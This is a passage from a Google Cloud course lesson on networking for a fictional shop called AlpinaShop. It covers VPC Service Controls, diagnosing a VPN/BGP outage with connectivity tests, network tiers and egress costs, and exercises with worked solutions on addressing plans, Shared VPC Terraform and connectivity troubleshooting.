The BigQuery web console Lucía's browser comes out on an IP that is not included Add the range to the access level
Cloud Build accessing a bucket in the perimeter The alpinashop-cicd project is outside A perimeter bridge or include it
Cloud Shell It comes out on a Google IP, not yours A specific access level or your own VM
Third-party tools (Looker Studio, BI) Outside the perimeter A specific ingress rule
Legitimate exports to another project It is exactly what it blocks An explicit egress rule (egress policy)

And there are two golden rules:

  1. Never enable a perimeter on a Friday. It is a cliché and it is literally true.
  2. --dry-run is not optional. It is the difference between a security control and a day-long outage.

Warning. The design of perimeters, access levels and ingress and egress rules has direct security and compliance implications. What is here is a sound teaching model, but before protecting personal or financial data in production it must be reviewed by a security and compliance professional.

  1. Network diagnostics: Network Intelligence Center and a real failure

Network Intelligence Center brings together the tools that turn network diagnosis into something deterministic.

Tool What it does
Connectivity Tests Simulates a packet from A to B and states exactly what allows or blocks it
Network Topology A visual map of real traffic between regions, zones and services
Performance Dashboard Latency and packet loss between zones and regions
Firewall Insights Unused rules, rules shadowed by others, overly permissive ones
Flow Logs A record of the actual connections

A real failure, solved with tools

The facts. Monday morning. The stock synchronisation process has been failing for three hours: Connection timed out when connecting to 192.168.10.20:3306. It worked on Friday. Nobody has touched anything (they say).

Step 1 — Is the tunnel up?

gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"
NAME                STATUS        DETAILED_STATUS
tunel-sabadell-0    ESTABLISHED   Tunnel is up and running
tunel-sabadell-1    ESTABLISHED   Tunnel is up and running

Both tunnels up. It is not the VPN. This is where many people's diagnosis ends, concluding "it must be Sabadell's problem" and picking up the phone.

Step 2 — Is BGP up and what routes are there?

gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"
- name: bgp-sabadell-0
  state: Established
  status: UP
  numLearnedRoutes: 0        # <<<<<< HERE IT IS

Zero learned routes. The tunnel is established and so is the BGP session, but Sabadell has stopped advertising 192.168.10.0/24. The packet does not know which way to go out.

Step 3 — Confirm it with a connectivity test, which gives an unarguable verdict:

gcloud network-management connectivity-tests create diag-erp \
  --source-project=alpinashop-prod \
  --source-ip-address=10.10.0.15 \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 \
  --protocol=TCP \
  --project=alpinashop-red

gcloud network-management connectivity-tests describe diag-erp \
  --project=alpinashop-red --format="yaml(reachabilityDetails)"
reachabilityDetails:
  result: UNREACHABLE
  traces:
  - steps:
    - description: Initial state - instance
    - description: Config checking state - apply egress firewall rule
      state: APPLY_EGRESS_FIREWALL_RULE
    - description: Config checking state - route
      state: NO_ROUTE            # <<<<<< verdict
      causeCode: NO_ROUTE_FROM_ROUTE_TABLE

NO_ROUTE. It is not the firewall, it is not the tunnel: there is no route. The connectivity test has turned three hours of suspicion into thirty seconds of certainty.

Step 4 — The root cause. A call to the company that maintains the Sabadell router: on Saturday they updated the firmware and the BGP configuration was restored from a backup predating the VPN installation. The advertised network vanished from the configuration.

Step 5 — Fix and lessons. The provider restores the advertisement; the routes appear in under a minute and the process works again. What gets changed afterwards:

  1. An alert on numLearnedRoutes == 0 in Cloud Monitoring. It would have warned on Saturday night.
  2. An alert on the VPN tunnel status (vpn/tunnel_established).
  3. The stock synchronisation stops failing silently: if it goes more than 30 minutes without updating, it alerts. The detection was done by a human three hours late, exactly what 06-04 was meant to avoid.
  4. The agreement with the shop's provider now includes notifying router changes.

Flow Logs: when you need to see the real traffic

VPC Flow Logs, enabled in section 4 with 50 % sampling, let you answer questions no other tool answers:

-- Who is talking to the ERP through the tunnel, and how much
SELECT
  jsonPayload.connection.src_ip   AS source,
  jsonPayload.connection.dest_ip  AS destination,
  jsonPayload.connection.dest_port AS port,
  COUNT(*)                        AS connections,
  SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
                        AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
  AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
      LIKE '192.168.10.%'
GROUP BY source, destination, port
ORDER BY bytes DESC

They are useful for three concrete things: investigating security incidents (who talked to that IP?), understanding cost (what traffic crosses zones or regions) and finding traffic that should not exist.

Their drawback is volume: they are expensive. That is why flow_sampling = 0.5, and that is why a sink to BigQuery with an expiry is preferable to long retention in Cloud Logging (06-06).

  1. Premium and Standard network service tiers

Google Cloud offers two network tiers for outbound traffic to the internet:

Premium (default) Standard
Path Over Google's private backbone to the point closest to the user It goes out to the public internet from the originating region
Latency Lower and more stable Higher and variable
IP Global anycast Regional
Global load balancing Yes No: regional load balancers only
SLA Yes Lower
Price Higher Of the order of 25-30 % less

The practical difference with an example: a customer in Berlin visiting AlpinaShop in europe-west1. With Premium, they enter Google's network in Berlin and the rest of the journey goes over Google's fibre. With Standard, the whole Berlin→Belgium journey goes over the public internet, with the latency and variability that implies.

Criteria:

Case Tier
End-customer traffic Premium. Latency is conversion
Global load balancer, CDN, anycast IP Premium (it is mandatory)
Nightly backups to another provider Standard: nobody is waiting
Development environments Standard
Bulk transfers with no urgency Standard

AlpinaShop uses Premium for the shop — it is not negotiable, the global load balancer requires it — and could use Standard in alpinashop-dev, although the saving would be pennies.

  1. The cost of traffic: where the bill hides

This section is a preview of 07-05, but it belongs here because these are network decisions.

The rule that summarises 90 % of cases:

Ingress is free. Egress is charged. And the further away, the more expensive.

Path Indicative cost Comment
Ingress from the internet Free Always
Within a zone, over internal IPs Free The ideal case
Between zones in the same region ~$0.01/GB It surprises everybody
Between regions within the EU ~$0.02/GB
Between continents $0.05-0.15/GB
Egress to the internet (Premium, first TBs) ~$0.12/GB
Egress to the internet via Cloud CDN Lower That is why the CDN saves money (03-03)
Egress over a VPN tunnel Internet rate + the tunnel's cost

The four classic hiding places, with their remedy:

  1. Inter-zone traffic for high availability. Cloud SQL in regional HA replicates continuously between zones, and that is charged. It is the price of availability and it is right to pay it — but you have to know it is there before being surprised.
  2. Application and database in different zones for no reason. Every query crosses a zone and pays. Deliberately colocating things that talk to each other a lot is free and saves money.
  3. Logs and metrics that cross regions. A log sink from europe-west1 to a bucket in us-central1 pays intercontinental traffic for every line of log. Log buckets go in the same region.
  4. Backups and exports to another provider. Taking 500 GB a month out to another cloud is tens of euros a month that nobody attributed to anybody.

The three saving levers that are applied in the network:

  • CDN (03-03): every response served from cache does not leave the origin. It is the biggest lever for a site with images.
  • Colocation: put things that call each other constantly in the same zone.
  • Compress: gzip or brotli at the load balancer reduces the billed bytes and also improves the experience.

And the breakdown by service is queried with the billing export from 01-04:

SELECT
  service.description  AS service,
  sku.description      AS item,
  ROUND(SUM(cost), 2)  AS cost_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
  AND (LOWER(sku.description) LIKE '%egress%'
       OR LOWER(sku.description) LIKE '%network%'
       OR LOWER(sku.description) LIKE '%inter-zone%'
       OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY service, item
HAVING cost_eur > 0.5
ORDER BY cost_eur DESC

Common Mistakes and Tips

  • Not having an addressing plan. The day two ranges overlap, the only solution is to renumber with a service outage. Ten minutes with a spreadsheet avoids a horrible weekend.
  • Using 172.16.0.0/12 in the VPC. It is Docker's default range; containers will not be able to reach those IPs.
  • Creating the VPC with auto_create_subnetworks = true. It creates a subnet in every region with ranges you did not choose and that will probably clash with something.
  • Putting the shared network in the production project. It forces you to give production permissions to somebody who only needs a development subnet. A dedicated, empty host project.
  • Granting compute.networkUser over the whole network. It is granted on the specific subnet. That is half the value of Shared VPC.
  • Forgetting the serverless-robot-prod agent's permission when using Cloud Run with Direct VPC on a Shared VPC. A cryptic error guaranteed.
  • routing_mode = REGIONAL on a network that will grow. Changing it later restarts the BGP sessions.
  • Expecting transitivity from peering. A↔B and B↔C do not give A↔C. Ever.
  • Peering without --export-custom-routes. The peering gets established and even so you cannot reach the VPN on the other side.
  • Not advertising the private services access range. A perfect tunnel and Cloud SQL unreachable from the site.
  • Building the VPN with a single tunnel. Any maintenance on the other side is an outage. Two tunnels, always.
  • Enabling VPC Service Controls without --dry-run. It is the most effective way of locking out your whole team, yourself included.
  • Forgetting that Cloud Shell comes out on a Google IP. With a perimeter active, your own console stops working and it looks like a platform failure.
  • Diagnosing networks with ping and guesswork. Connectivity tests give a verdict naming the specific rule that blocks it.
  • Ignoring inter-zone traffic. It is not free, and in replicated architectures it is an appreciable part of the bill.
  • Tip: alert on numLearnedRoutes and on the tunnel status. They are two metrics that warn of a hybrid failure before a business process notices it.
  • Tip: keep the VPN pre-shared key in Secret Manager, not in the .tf or in your terminal history.
  • Tip: enable Flow Logs with sampling, not at 100 %. At 50 % you see what you need for half the cost.

Exercises

Exercise 1 — Designing the addressing for an expansion

AlpinaShop is growing and the network has to be planned for the following:

  • A second region europe-southwest1 (Madrid) for high availability, with the same three subnets.
  • Two new physical shops: Girona and Zaragoza, each with its own LAN and its own VPN.
  • A logistics partner that will connect over Private Service Connect to check shipment status.
  • A load-testing environment that is created and destroyed, isolated from everything else.
  • A forecast GKE cluster with up to 200 pods.

Draw up the complete addressing table stating range, use, region and justification for the size. Point out what decisions you take so as not to run out of space in five years and which ranges you explicitly forbid.

Exercise 2 — Implementing the Shared VPC with correct permissions

Write the Terraform that:

  1. Turns alpinashop-red into a host project and attaches alpinashop-prod, alpinashop-dev and alpinashop-datos.
  2. Creates the subnets sn-web-euw1, sn-datos-euw1 and sn-dev-euw1 with Private Google Access and Flow Logs at 50 %.
  3. Grants permissions such that: gcp-desarrollo@ can only use sn-dev-euw1; gcp-datos@ only sn-datos-euw1; the Cloud Run service account can use sn-web-euw1; and nobody but gcp-infra@ can modify firewall rules.
  4. Defines who has compute.xpnAdmin and at what level of the hierarchy.

Also explain what would happen if Dani tried to create a VM in sn-datos-euw1 and exactly what error he would see.

Exercise 3 — Diagnosing three connectivity failures

For each of these three cases, state the most likely diagnosis, how you would confirm it with specific tools, and how you would fix it.

(a) The alpinashop-web service on Cloud Run, with Direct VPC configured, cannot connect to 192.168.10.20:3306 (the ERP). From a VM in sn-web-euw1 it does work. The tunnels are ESTABLISHED and BGP learns 192.168.10.0/24.

(b) Lucía cannot open the BigQuery console from her laptop at home. From the office she can. The error says VPC Service Controls: Request is prohibited by organization's policy. The perimeter has been active for two weeks and nobody had complained until now.

(c) A VM in the alpinashop-datos project (its own VPC, peered with alpinashop-vpc) needs to reach the Sabadell ERP. The peering is ACTIVE, the VM reaches the VMs in sn-web-euw1 without any trouble, but not 192.168.10.20.

Solutions

Solution 1 — Designing the addressing for an expansion

Guiding principle: reserve whole /16 blocks per scope even if only a tiny fraction is used. The private space has 16.7 million addresses in 10.0.0.0/8: saving ranges is a false economy and the number one cause of renumbering.

Block Range Use Region / site Justification for the size
Google Cloud, region 1 10.10.0.0/16 Existing europe-west1 65k IPs, plenty
10.10.0.0/24 sn-web-euw1 Web workloads
10.10.1.0/24 sn-datos-euw1 Databases
10.10.2.0/24 sn-dev-euw1 Development
10.10.8.0/22 GKE pods (secondary) 200 pods need ~1,024 IPs with headroom for rescheduling
10.10.12.0/24 GKE services (secondary) 256 services, more than enough
10.10.16.0/24 Proxy-only subnet Internal load balancers
10.10.20.0/24 Cloud Run Direct VPC It consumes an IP per instance; a /24 is generous
10.10.240.0/20 Private services access Google requires it; do not reduce it
Google Cloud, region 2 10.20.0.0/16 Exact mirror europe-southwest1 The same scheme with the second octet changed
10.20.0.0/24 sn-web-esw1
10.20.1.0/24 sn-datos-esw1
10.20.2.0/24 sn-dev-esw1
10.20.240.0/20 Private services region 2
Future regions 10.30.0.0/16 … 10.90.0.0/16 Reserved — One /16 per region, unassigned
Load testing 10.100.0.0/16 Ephemeral, isolated VPC europe-west1 Deliberately outside the production block
Physical shops 192.168.0.0/16 Site block — The existing scheme is kept
192.168.10.0/24 Sabadell Existing
192.168.11.0/24 Girona New
192.168.12.0/24 Zaragoza New
192.168.13.0/24 … 192.168.49.0/24 Reserved: 37 more shops
192.168.20.0/24 Head office Existing
PSC endpoints 10.10.250.0/24 Consumer endpoints europe-west1 Outside the normal subnets, easy to identify
10.20.250.0/24 The same for region 2
FORBIDDEN 172.16.0.0/12 Docker — Clashes with container bridge networks
FORBIDDEN 169.254.0.0/16 Link-local — Used by BGP and by GCP metadata
FORBIDDEN 10.0.0.0/16, 10.1.0.0/16 Reserved for mergers — The "obvious" ranges the company you buy tends to use

The five decisions that avoid renumbering over five years:

  1. One /16 per region, with the second octet as the region identifier. 10.X0.0.0/16. Looking at an IP and knowing the region without consulting anything has enormous operational value during an incident.
  2. An identical subnet scheme across regions, changing only the second octet. Firewall rules, scripts and diagrams are replicated with a find-and-replace.
  3. All the shops go in 192.168.0.0/16 with consecutive /24s. The BGP advertisement can be aggregated and one firewall rule covers all present and future shops.
  4. Load testing in 10.100.0.0/16, outside the production block and in its own unpeered VPC. If a runaway test floods something, it cannot reach production. And because it is ephemeral, its range can be reused with no risk.
  5. Reserving 10.0.0.0/16 and 10.1.0.0/16 without using them. They are the ranges chosen by default by anybody who does not plan. The day AlpinaShop buys another company, it is almost certain the acquired company uses one of those two — and having them free avoids renumbering somebody else's network.

On the logistics partner: it consumes no addressing of yours. With PSC it creates an endpoint in its VPC with its range, pointing at AlpinaShop's service attachment. Neither party sees the other's network, there is no overlap risk and there are no routes to manage. This is exactly PSC's use case as against peering, and that is why it has become the standard for connecting to partners.

Solution 2 — Implementing the Shared VPC with correct permissions

# ------------------------------------------------------------------
# 1. Host project and attachment of service projects
# ------------------------------------------------------------------

resource "google_compute_shared_vpc_host_project" "host" {
  project = "alpinashop-red"
}

resource "google_compute_shared_vpc_service_project" "servicios" {
  for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])

  host_project    = google_compute_shared_vpc_host_project.host.project
  service_project = each.value
}

# ------------------------------------------------------------------
# 2. Network and subnets
# ------------------------------------------------------------------

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false
  routing_mode            = "GLOBAL"
}

locals {
  subredes = {
    "sn-web-euw1"   = "10.10.0.0/24"
    "sn-datos-euw1" = "10.10.1.0/24"
    "sn-dev-euw1"   = "10.10.2.0/24"
  }
}

resource "google_compute_subnetwork" "subredes" {
  for_each = local.subredes

  project                  = "alpinashop-red"
  name                     = each.key
  ip_cidr_range            = each.value
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

# ------------------------------------------------------------------
# 3. Granular permissions PER SUBNET
# ------------------------------------------------------------------

resource "google_compute_subnetwork_iam_member" "dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

resource "google_compute_subnetwork_iam_member" "datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# Cloud Run with Direct VPC: the permission is needed by the SERVICE AGENT,
# not by the service's own service account. It is the mistake nobody guesses.
resource "google_compute_subnetwork_iam_member" "run" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}

data "google_project" "prod" {
  project_id = "alpinashop-prod"
}

# ------------------------------------------------------------------
# 4. Firewall: ONLY gcp-infra@ can touch it
# ------------------------------------------------------------------

resource "google_project_iam_member" "seguridad_red" {
  project = "alpinashop-red"
  role    = "roles/compute.securityAdmin"     # manages firewall rules
  member  = "group:[email protected]"
}

resource "google_project_iam_member" "admin_red" {
  project = "alpinashop-red"
  role    = "roles/compute.networkAdmin"      # subnets, routers, VPN, NAT
  member  = "group:[email protected]"
}

# The other teams only READ the network, so they can debug
resource "google_project_iam_member" "lectores_red" {
  for_each = toset([
    "group:[email protected]",
    "group:[email protected]",
  ])
  project = "alpinashop-red"
  role    = "roles/compute.networkViewer"
  member  = each.value
}

# ------------------------------------------------------------------
# 5. xpnAdmin: at FOLDER level, not project level
# ------------------------------------------------------------------

resource "google_folder_iam_member" "xpn_admin" {
  folder = var.folder_compartido_id
  role   = "roles/compute.xpnAdmin"
  member = "group:[email protected]"
}

On compute.xpnAdmin. It is granted to gcp-infra@ at the level of the compartido folder, not the project, because that is where the host lives and from where the projects are attached. Granting it at organization level would give the power to turn any company project into a host, which is more than is needed. Applying the least privilege of 03-04: the lowest level of the hierarchy at which the permission works.

At AlpinaShop, gcp-infra@ is Marta, and this is exactly the kind of permission that in 07-04 will become a candidate for temporary elevation rather than being permanent.

What would happen if Dani tried to create a VM in sn-datos-euw1:

$ gcloud compute instances create prueba-dani \
    --project=alpinashop-dev --zone=europe-west1-b \
    --subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1

ERROR: (gcloud.compute.instances.create) Could not fetch resource:
 - Required 'compute.subnetworks.use' permission for
   'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'

The missing permission is compute.subnetworks.use, which is part of roles/compute.networkUser. The message names the specific subnet, which makes the diagnosis immediate.

And there is a revealing nuance: if Dani runs gcloud compute networks subnets list --project=alpinashop-red, he will see sn-dev-euw1 and also sn-datos-euw1, because he has networkViewer. He can see that it exists, but not use it. That distinction between seeing and using is deliberate: without visibility you cannot diagnose anything, and with networkViewer you cannot do any harm.

Solution 3 — Diagnosing three connectivity failures

(a) Cloud Run cannot reach the ERP, but a VM in the same subnet can.

Diagnosis. The fact that a VM in sn-web-euw1 does get through proves that the route, the BGP and the firewall are fine. What differs between the VM and Cloud Run is how the traffic leaves. The almost certain cause is --vpc-egress: if it is on private-ranges-only, traffic to RFC 1918 ranges should go over the VPC… and 192.168.10.0/24 is RFC 1918, so that fits. Two hypotheses remain:

  1. The service does not actually have Direct VPC applied (it was configured on the service but the revision receiving traffic predates the change). It is the most frequent cause: the network configuration is applied per revision, and if it was changed with --no-traffic, 100 % of the traffic is still on the old revision with no network.
  2. The subnet assigned to Direct VPC is not sn-web-euw1 but another one without the correct routes.

Confirmation.

# Which revision is receiving traffic and what network it has
gcloud run services describe alpinashop-web --region=europe-west1 \
  --format="yaml(spec.traffic, spec.template.metadata.annotations)"

# Connectivity test taking Cloud Run as the source
gcloud network-management connectivity-tests create diag-run-erp \
  --source-cloud-run-revision=alpinashop-web-00042-abc \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 --protocol=TCP \
  --project=alpinashop-red

Fix. Redeploy applying the network and giving traffic to that revision:

gcloud run services update alpinashop-web --region=europe-west1 \
  --network=alpinashop-vpc --subnet=sn-web-euw1 \
  --vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latest

And check that the serverless-robot-prod agent has networkUser on sn-web-euw1; without it, the deployment would have failed with a rather unhelpful permissions error.

(b) Lucía cannot get into BigQuery from home.

Diagnosis. The message says it literally: the VPC Service Controls perimeter is blocking the request. The acceso_corporativo access level includes 88.20.145.0/24 (the office) and 192.168.10.0/24 (Sabadell), but not Lucía's home IP. From the office it works because she comes out on the permitted range.

That "nobody had complained until now" does not mean it is new: it means nobody had worked from outside since the perimeter was enabled. It is the typical pattern — the perimeter is enabled, it works, and two weeks later somebody works from home and the problem appears.

Confirmation.

SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS who,
  protopayload_auditlog.requestMetadata.callerIp          AS source_ip,
  protopayload_auditlog.metadata.violationReason          AS reason
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
  AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20

The callerIp field shows the home IP and violationReason will say NO_MATCHING_ACCESS_LEVEL.

Fix. There are three options, and the worst one is the most tempting:

Option Assessment
Add Lucía's home IP to the access level Bad. Home IPs are dynamic and this will repeat with every person and every IP change. It turns the access level into an unmanageable list
Have Lucía connect over the corporate VPN and come out on the office IP Acceptable, but it means building and maintaining a user VPN
Device-based access level, with BeyondCorp Enterprise / Endpoint Verification: access is allowed from a managed, encrypted machine with a locked screen, regardless of IP The right one, and it is the practical implementation of the zero trust developed in 07-04

The third is more work up front and it is the only one that scales: the control stops being "where you connect from" and becomes "which device you are and who you are", which is what really matters. While it is being rolled out, option 2 is a reasonable bridge.

(c) The alpinashop-datos VM reaches sn-web-euw1 but not Sabadell.

Diagnosis. It is the peering transitivity problem in its purest form. The data VPC is peered with alpinashop-vpc, and that is why it reaches its subnets. But the route to 192.168.10.0/24 is not a subnet of alpinashop-vpc: it is a route learned over BGP from the VPN tunnel. And by default peering does not export routes learned over BGP or static routes: only subnet routes.

Besides, even if they were exported, there is a second obstacle: peering is not transitive, so the return traffic from Sabadell would not know how to get back to the data VPC either unless its range is also advertised over BGP.

Confirmation.

# See the routes the peering exports and imports
gcloud compute networks peerings list-routes datos-hacia-red \
  --network=vpc-datos --region=europe-west1 --direction=INCOMING \
  --project=alpinashop-datos

192.168.10.0/24 will not appear in the list.

Fix. There are two paths, and the difference between them is the moral of the lesson:

Path 1 — Patch the peering. Enable custom route export on the alpinashop-vpc side and import on the data side, and also advertise the data VPC's range to Sabadell over BGP:

gcloud compute networks peerings update red-hacia-datos \
  --network=alpinashop-vpc --export-custom-routes --project=alpinashop-red

gcloud compute networks peerings update datos-hacia-red \
  --network=vpc-datos --import-custom-routes --project=alpinashop-datos

gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.30.0.0/16=vpc-datos \
  --project=alpinashop-red

It works, but it leaves a topology that has to be remembered and documented, and that will break the next time somebody adds a network.

Path 2 — The right solution: remove the peering. alpinashop-datos is AlpinaShop's own project, in the same organization. It should not have its own peered VPC: it should be a service project of the Shared VPC. As soon as it is, its resources will be in alpinashop-vpc, they will see the VPN routes like any other resource, and the problem disappears with no configuration at all.

This is the lesson of the exercise, and of section 6: peering is used when the other network belongs to somebody else. Peering your own networks within the same organization creates permanent work to solve problems that Shared VPC does not have. If you find yourself exporting custom routes between two of your own VPCs, you chose the wrong tool.

Conclusion

AlpinaShop's network has gone from being one VPC in one project to being a designed network platform.

You can recognise when one VPC stops being enough by its seven signs, and you know that the first thing — before touching anything — is the addressing plan, with its inviolable rule: two ranges that could ever end up connected cannot overlap. With the decisions that make it durable: one /16 per region with the second octet as the identifier, an identical scheme across regions, reservations for what does not exist yet, and explicitly forbidden ranges — 172.16.0.0/12 because of Docker, 169.254.0.0/16 because of BGP, and the "obvious" ones reserved for the day you buy a company.

You have mastered Shared VPC: a dedicated, almost empty host project in the compartido folder, service projects that bring compute and billing, and the two roles that govern it — compute.xpnAdmin for attaching projects, granted at the folder and not at the organization, and compute.networkUser granted on the specific subnet, which is where half the value of the model lies. With the serverless-robot-prod agent's permission that nobody guesses, and with the uncomfortable truth that a VM is not migrated between networks: it is recreated.

You can distinguish peering with its three limitations — it is not transitive, ranges cannot overlap, quotas are aggregated — and you know --export-custom-routes is disabled by default and is the number one cause of "it is peered but I cannot get through". You have the decision table with its rule: my projects and one network to govern → Shared VPC; somebody else's network → peering; more than five networks and sites → Network Connectivity Center and its hub-and-spoke topology.

You know Private Service Connect in its three uses: endpoints with an IP of your own to Google's APIs — which, unlike Private Google Access, do work from the other side of the tunnel — consuming third-party services without sharing networks or ranges, and publishing your own. And you know why it has replaced peering as the standard way of connecting to partners.

You have connected the Sabadell shop for real: the table of the three hybrid options with bandwidth, latency, SLA, cost and lead time, the reasoned choice of HA Cloud VPN for kilobytes of stock, and the full implementation — a gateway with two interfaces, an external gateway, a Cloud Router with an ASN, two tunnels with IKEv2 and the secret in Secret Manager, two BGP sessions with priorities 100 and 200, firewall and verification. You properly understand BGP: ASN, advertised and learned routes, priorities, and why dynamic beats static as soon as there is more than one subnet. And you know that numLearnedRoutes: 0 with the tunnel ESTABLISHED means the problem is not yours.

You know how to govern route advertisement with --advertisement-mode=custom, including the private services access range without which Cloud SQL is unreachable from the site even though everything looks right, and you know the five classic routing mistakes with their symptom and their remedy.

You have raised a VPC Service Controls perimeter that answers the real risk: leaked credentials can no longer take the data out, because IAM authorises but the perimeter does not let it cross the boundary. With access levels, --dry-run as a non-negotiable step, the table of what usually breaks, and the twofold warning: never on a Friday, and have it reviewed by a security and compliance professional before production.

You know how to diagnose instead of guess: connectivity tests that return NO_ROUTE with the exact cause, topology, firewall insights and Flow Logs with sampling. You have followed a real failure from start to finish — tunnel up, BGP up, zero learned routes, firmware restored in Sabadell — and you have seen what gets changed afterwards: alerts on numLearnedRoutes, on the tunnel status, and on the freshness of the stock, because the detection was still being done by a human three hours late.

And you know the Premium and Standard tiers, and above all where the traffic bill hides: ingress is free, egress is charged, and inter-zone traffic — which almost nobody looks at — appears as soon as there is high availability. With the four classic hiding places and the three levers: CDN, colocation and compression.

That last section is the bridge. This lesson has revealed a part of the bill nobody was looking at, and it is not the only one: seven modules have gone by adding services — VMs, buckets, BigQuery, Dataflow, a cluster, Vertex AI endpoints, logs, traces, and now tunnels and Flow Logs — and nobody has opened the whole bill and understood it line by line.

Before that there is something more urgent. Security has been built in every module: firewall in 03-01, WAF in 03-05, IAM in 03-04, secrets and CMEK in 03-06, TLS in 03-07, now perimeters. But the whole has never been examined. The next lesson does exactly that: it reviews AlpinaShop's security layer by layer, from identity to detection, and honestly writes down the debt that remains.

Google Cloud Platform (GCP) Course

Module 1: Introduction to Google Cloud Platform

Module 2: Core GCP Services

Module 3: Networking and Security

Module 4: Data and Analytics

Module 5: Machine Learning and AI

Module 6: DevOps and Monitoring

Module 7: Advanced GCP Topics

Module 8: Final Project

© Copyright 2026. All rights reserved